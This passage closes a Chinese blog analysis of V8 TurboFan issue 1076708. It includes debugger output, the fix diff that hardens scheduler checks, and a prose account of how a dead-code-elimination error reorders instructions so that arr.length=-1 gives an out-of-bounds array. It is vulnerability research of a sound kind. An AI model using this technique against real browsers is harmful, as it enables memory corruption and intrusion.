0048| 0x55c5cbb5fb50 --> 0x0 
0056| 0x55c5cbb5fb58 --> 0x0 
gdb-peda$ x/wx 0x55c5cacdfa58+0x10
0x55c5cacdfa68 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+16>:	0x0018003d

patch2的diff2如下所示，在节点放置入基本块时把DCHECK改为了CHECK，检查目标基本块的control是否初始化为kNone。这里的patch不仅针对Throw节点处理函数AddThrow，还囊括了其他节点的处理函数。这不仅修复了该issue，其他试图在schedule阶段以相同的思路(即对basic block重复赋值control_input使多个节点保存了索引到基本块的副本，其中非基本块最终的control_input的节点绕过了对于基本块control_input的节点lower和优化，根据节点支配关系计算基本块位置时造成错误)扩大影响使得指令排序错误绕过检查的思路都会失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
@@ -218,7 +218,7 @@
 }
 
 void Schedule::AddGoto(BasicBlock* block, BasicBlock* succ) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kGoto);
   AddSuccessor(block, succ);
 }
@@ -243,7 +243,7 @@
 
 void Schedule::AddCall(BasicBlock* block, Node* call, BasicBlock* success_block,
                        BasicBlock* exception_block) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK(IsPotentiallyThrowingCall(call->opcode()));
   block->set_control(BasicBlock::kCall);
   AddSuccessor(block, success_block);
@@ -253,7 +253,7 @@
 
 void Schedule::AddBranch(BasicBlock* block, Node* branch, BasicBlock* tblock,
                          BasicBlock* fblock) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK_EQ(IrOpcode::kBranch, branch->opcode());
   block->set_control(BasicBlock::kBranch);
   AddSuccessor(block, tblock);
@@ -263,7 +263,7 @@
 
 void Schedule::AddSwitch(BasicBlock* block, Node* sw, BasicBlock** succ_blocks,
                          size_t succ_count) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK_EQ(IrOpcode::kSwitch, sw->opcode());
   block->set_control(BasicBlock::kSwitch);
   for (size_t index = 0; index < succ_count; ++index) {
@@ -273,28 +273,28 @@
 }
 
 void Schedule::AddTailCall(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kTailCall);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
 }
 
 void Schedule::AddReturn(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kReturn);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
 }
 
 void Schedule::AddDeoptimize(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kDeoptimize);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
 }
 
 void Schedule::AddThrow(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kThrow);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
@@ -302,8 +302,8 @@
 
 void Schedule::InsertBranch(BasicBlock* block, BasicBlock* end, Node* branch,
                             BasicBlock* tblock, BasicBlock* fblock) {
-  DCHECK_NE(BasicBlock::kNone, block->control());
-  DCHECK_EQ(BasicBlock::kNone, end->control());
+  CHECK_NE(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, end->control());
   end->set_control(block->control());
   block->set_control(BasicBlock::kBranch);
   MoveSuccessors(block, end);
@@ -317,8 +317,8 @@
 
 void Schedule::InsertSwitch(BasicBlock* block, BasicBlock* end, Node* sw,
                             BasicBlock** succ_blocks, size_t succ_count) {
-  DCHECK_NE(BasicBlock::kNone, block->control());
-  DCHECK_EQ(BasicBlock::kNone, end->control());
+  CHECK_NE(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, end->control());
   end->set_control(block->control());
   block->set_control(BasicBlock::kSwitch);
   MoveSuccessors(block, end);

总结 && 思考

从漏洞利用链看漏洞成因

issue_1076708是v8 JIT编译器TurboFan中的一个漏洞，该漏洞产生于hot code的优化阶段，在DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数中错误地将Terminate节点替换为了Throw节点，避免其在DeadCodeElimination::ReduceLoopOrMerge的Loop->use消除链中被替换为Dead节点而回收。在EffectControlLinearizationPhase阶段的创建CFG时的scheduling部分，使用ConnectBlocks->ConnectThrow为Throw节点寻找基本块位置时出现多个Throw节点索引到同一个基本块的情况，在节点的lower阶段对基本块的control_input处理时缺失了对于非最终control_input但可以仍可以索引到原基本块的Throw节点的消除处理，导致该节点进一步被保留至第二次scheduling阶段。在第二次进行节点归属基本块划分时之前保留的Throw节点根据支配关系影响了其他节点(将Throw节点作为use的节点，在这里为Unreachable节点)的基本块归属，最终影响到了arr.length=-1赋值语句中关键的StoreField节点位置，导致该节点的脱离了解优化节点DeoptimizeUnless(该节点由CheckMaps节点转换而来)，最终指令的执行顺序发生改变，在进行数组的类型检查前已对其length赋值完毕，从而绕过了类型检查，得到oob数组。

从开发者角度看漏洞成因

漏洞产生于ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数，开发者在设计时将Deoptimize、Return、Terminate、TailCall节点认为地位相同，可以用同一种模式处理它们，从直觉上看，Terminate节点由Loop节点产生，其输入如果包含有Dead节点将其优化为Throw节点认为产生异常并无不妥，但是正如patch1中的注释所讲，Terminate nodes are not part of actual control flow, so they should never be replaced with Throw.Terminate节点是由Loop产生的附属产物，其和Loop节点应当拥有相同的生命周期。在调试时我们发现在TypedLowering阶段Loop节点已被优化消除，因此Loop节点作为其use也应进行消除。而对于其他几个节点Deoptimize、Return、Terminate、TailCall，它们都是独立的控制节点，因此可以替换为Throw节点。

思考

该漏洞的产生位置到实际扩大影响的位置经过了多个优化阶段，假如是源码审计的方式发现漏洞函数，很难构造出一个合适的PoC触发报错，而从PoC构造的精巧程度来看为了构造出schedule的指令顺序错误其中大部分的对象布局和赋值都无法替换为其他值，个人猜测其中PoC1即bug34_min.js为fuzz出DCHECK报错的样本，之后作者经过观察发现了该样本会使得scheduing阶段的指令顺序错误，为了构造出arr.length=-1绕过检查的效果又在PoC1的基础上增加新的数据和代码调试，最终得到了PoC2。

该漏洞是节点优化不当引发的，落脚在指令的scheduling处，单从patch1看仍可能存在其他节点的消除/替换不当引发此类风险，但patch2在划分基本块时将DCHECK检查改为了CHECK检查，这导致通过构造指令scheduling不当的方式进行漏洞利用的方式被终结，假使仍存在相似漏洞，在这里划分基本块时不可能再存在有多个节点绑定到同一个基本块的情况，假使攻击者想绕过该检查构造出指令顺序异常，也只能在之前的优化阶段让节点的位置出现异常，在scheduling阶段不会存在本应lower而绕过该步骤的同一个Basic Block绑定的多个control_input节点。

参考

Issue 1076708: OOB read/write in v8::internal::ElementsAccessorBase<v8::internal::FastHoleyDoubleElementsAccessor

异步JavaScript简介

async和await:让异步编程更简单

An overview of the TurboFan compiler

TurboFan Inlining

A Tale Of TurboFan

Deoptimization in V8

您的支持将鼓励我继续创作